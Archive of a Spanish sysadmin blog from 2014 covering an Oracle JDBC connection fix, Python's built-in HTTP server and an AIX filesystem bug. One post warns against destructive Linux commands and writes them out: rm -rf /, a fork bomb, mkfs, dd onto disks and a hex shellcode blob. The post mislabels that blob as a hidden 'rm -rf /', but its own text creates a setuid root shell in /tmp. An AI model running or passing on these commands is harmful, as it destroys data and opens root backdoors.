viernes, 15 de agosto de 2014

Io Exception: NL was generated

Ayer en la madrugada una vez terminada de migrar unas bases de datos hacia los nuevos servidores, se nos presentó un error al subir uno de nuestros switches transaccionales y a esa hora de la madruga lo último que uno quiere es que aparezca un error que no existe en nuestra base de conocimiento.

No hubo más de otra que recurrir a nuestro más preciado amigo GOOGLE y abriendo y abriendo webs dí con una que nos permitió dar solución al asunto.

La línea que te muestra que aún no te puedes ir a dormir es:

java.sql.SQLException: Io exception: NL Exception was generated

Nuestro string de conexión es de la forma:

jdbc:oracle:thin:@DESCRIPTION = (ADDRESS_LIST = (ADDRESS = (PROTOCOL = TCP)(HOST = el_scan_del_host)(PORT = elpuerto)))(LOAD_BALANCE = YES)(CONNECT_DATA = (SERVER = DEDICATED)    (SERVICE_NAME = sid_delabase)(FAILOVER_MODE = (TYPE = SELECT)(METHOD = BASIC)(RETRIES = 180)(DELAY = 5))))

¿Y de qué forma nos funcionó?  Pues tuvimos que hacer algunos cambios hasta que quedó de la forma:

jdbc:oracle:thin:@DESCRIPTION = (ADDRESS_LIST = (ADDRESS = (PROTOCOL = TCP)(HOST = la_ip_del_scan)(PORT = elpuerto)))(LOAD_BALANCE = YES)(CONNECT_DATA = (SERVER = DEDICATED)    (SERVICE_NAME = sid_delabase)

Se intentó cargar nuevamente el switche transaccional y eureka a descansar!!

Fuente:
http://www.dba-oracle.com/bk_nl_exception_connecting_10g_rac_jdbc.htm

miércoles, 13 de agosto de 2014

Comandos peligrosos en Linux

Si eres un fan de linux y estás dando ese paso de junior a senior en el uso de tu sistema operativo,
seguramente te habrás dado cuenta que la consola es una gran ayuda a la hora de administrar nuestro
pc o nuestras aplicaciones ya que dicha consola nos permite ver los logs, matar procesos, controlar espacios, programar tareas, etc.

Para llevar a cabo esas tareas de administración te vales de comandos muy útiles como el grep, top, df, entre otros; pero si tienes las credenciales de acceso como root (que es de suponer) existen otros comandos con los que se debe ser extremadamente cuidadoso, sobre todo en ambientes productivos ya que con la ejecución de éstos te pueden dar una liquidación y vacaciones permanentes por parte de tu empresa.

Te presento entonces algunos de los comandos que debes NO tratar de ejecutar:

1. rm -rf /
Este comando te dá expulsión inmediata de cualquier empresa que tenga en alta estima el activo llamado información digital.

Con esta instrucción estás eliminando TODO en el disco duro incluyendo los archivos en dispositivos de medios extraíbles conectados (excluyendo unidades CD/DVD montadas)

rm --> borra ficheros o directorios
-f --> no pide confirmación
-r o -R --> borra de forma recursiva árboles de directorio
/ --> Directorio raíz (así como para hacernos a la importancia de éste fíjate en la imagen)


2. rm -rf / (oculto)
Este es el equivalente al comando del numeral anterior sólo que en su versión hexadecimal la cual puede ir perfectamente oculta un script de bash o mejor en uno de Python.  Se suelen sufrir los mismos síntomas después de ejecutarse como root (la empresa te regala unas vacaciones permanentes)

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";


3. :(){ :|: & };:
Esto es otro script que se utiliza para generar un ataque de denegación de servicio.

4. mkfs.ext4 /dev/sda1
Este comando es el equivalente en Microsoft Windows a Format C:

mkfs.ext4 --> Crea un nuevo systema de archivos tipo ext4
/dev/sda1 --> Especifica la partición primaria en el primer disco que seguramente tendrá datos y estará en uso.

5. ls > /dev/sda
Escribe los datos directamente en el disco duro dañando el sistema de archivos
ls --> Ejecuta el comando ls (listar estructura)
>  --> Envía la salida del comando a la ubicación indicada
/dev/sda --> Escribe la salida del comando directamente en esta ubicación

6. dd if=/dev/random of=/dev/sda
dd --> Copia de bajo nivel desde un lugar a otro
if=/dev/random --> Usa /dev/random (data aleatoria) como la entrada

of=/dev/sda --> Salida para el primer disco duro, sustituyendo el sistema de archivos con datos al azar.

7. mv ~ /dev/null
Mueve su directorio personal (home) a un lugar inexistente
mv --> Comando para mover archivos y/o directorios
~ --> Representa la entrada a su directorio personal
/dev/null --> Mueve su directorio personal a /dev/null, perdiendo todos sus archivos y borrándolos de la copia original

8. cd / ; find -iname init -exec rm -rf {} \;
Este comando borrará todos los archivos que contenga la palabra init.
init --> Arranque del sistem que llama a otros scripts para definir el runlevel con se iniciará el sistem (0 para detener el sistema, 5 entorno gráfico, 6 para reiniciar)
find --> comando para buscar archivos

martes, 12 de agosto de 2014

Iniciar un servidor HTTP estático en un directorio con Python

Si usted necesita un rápido servidor web corriendo y no quiere meterse con la configuración de apache o algo similar, entonces Python puede ayudar. 

Python viene con un sencillo servidor HTTP incorporado. Con la ayuda de este pequeño servidor HTTP puede convertir cualquier directorio en su sistema en el directorio del servidor web. La única cosa que usted necesita tener instalado es Python.

En la práctica esto es muy útil para compartir archivos dentro de su red local. La implementación de este pequeño pero enormemente útil servidor HTTP es muy simple, es sólo un único comando de línea. 

Supongamos que me gustaría compartir el directorio /home/maengora y mi dirección IP es 192.168.1.2.

Abro una terminal y escribo


#python -m SimpleHTTPServer

Con lo que obtendremos una salida similar a esta:

Serving HTTP on 0.0.0.0 port 8000 ...

El puerto por defecto es el 8000 si se quiere indicar un puerto diferente bastarácon agregarlo al final del comando, así:

#python -m SimpleHTTPServer 58000
Fuente:

domingo, 10 de agosto de 2014

Filesystem / full en AIX

Me ocurría en la oficina que varios de los servidores AIX, destinados a bases de datos, se les comenzaba a llenar el filesystem / y tengo un script que una vez llega al umbral del 90% de ocupación comienza a mandar una alerta y ésta ya se estaba empezando a volver molesta.

Inicialmente comencé a borrar unos archivos que encontraba en la siguiente ruta

#cd /etc/perf/daily

Los archivos que allí se encuentra tienen la siguiente estructura:

nombrehost _conscutivo.topas

En estos archivos se suele guardar o recopilar la data de rendimiento de la máquina el cual puede ser leído mediante el comando

#topasout -a nombrearchivo.topas

Este borrado me funcionaba ya que el porcentaje de ocupación del / quedaba en 86%.

Hace poco se volvió a llenar el filesystem y aunque borre todos los archivos .topas que habían en el directorio éste no bajo su porcentaje de ocupación (93%). 

Buscando un poco en internet me dí cuenta que es un bug del common agent services (CAS) de aix y que se resuelve (logueado como root) de la siguiente manera:

Trabajemos con este ejemplo de este servidor que se encuentra al 87%




Vamos al directorio /dev
> cd /dev
> ls -lrt null*



Esto es realmente lo que llena nuestro filesystem (null 2>&1)

Detenemos el servicio cas:
>stopsrc –s cas_agent

Y luego editamos el script que lanza dicho servicio:
>vi /var/opt/tivoli/ep/runtime/nonstop/bin/cas_src.sh

Buscamos las líneas donde aparece:

else 
    CAS_SRC_LOG=”/dev/null 2>&1” 
fi




Y la cambiamos por esta:

else 
    CAS_SRC_LOG=”/dev/null” 
fi



Guardamos el archivo y procedemos a borrar el causante de nuestra dolencia.

>rm "/dev/null 2>&1"


Iniciamos nuevamente el servicio:
>startsrc –s cas_agent

Y validamos el resultado:
>df -g

Y del 87% de ocupación bajamos al 17%; para este ejemplo una ganancia del 70%.  Ahora cuando se llene tocará ver qué otra cosa es, porque el bug ya lo aplastamos.

Fuente del artículo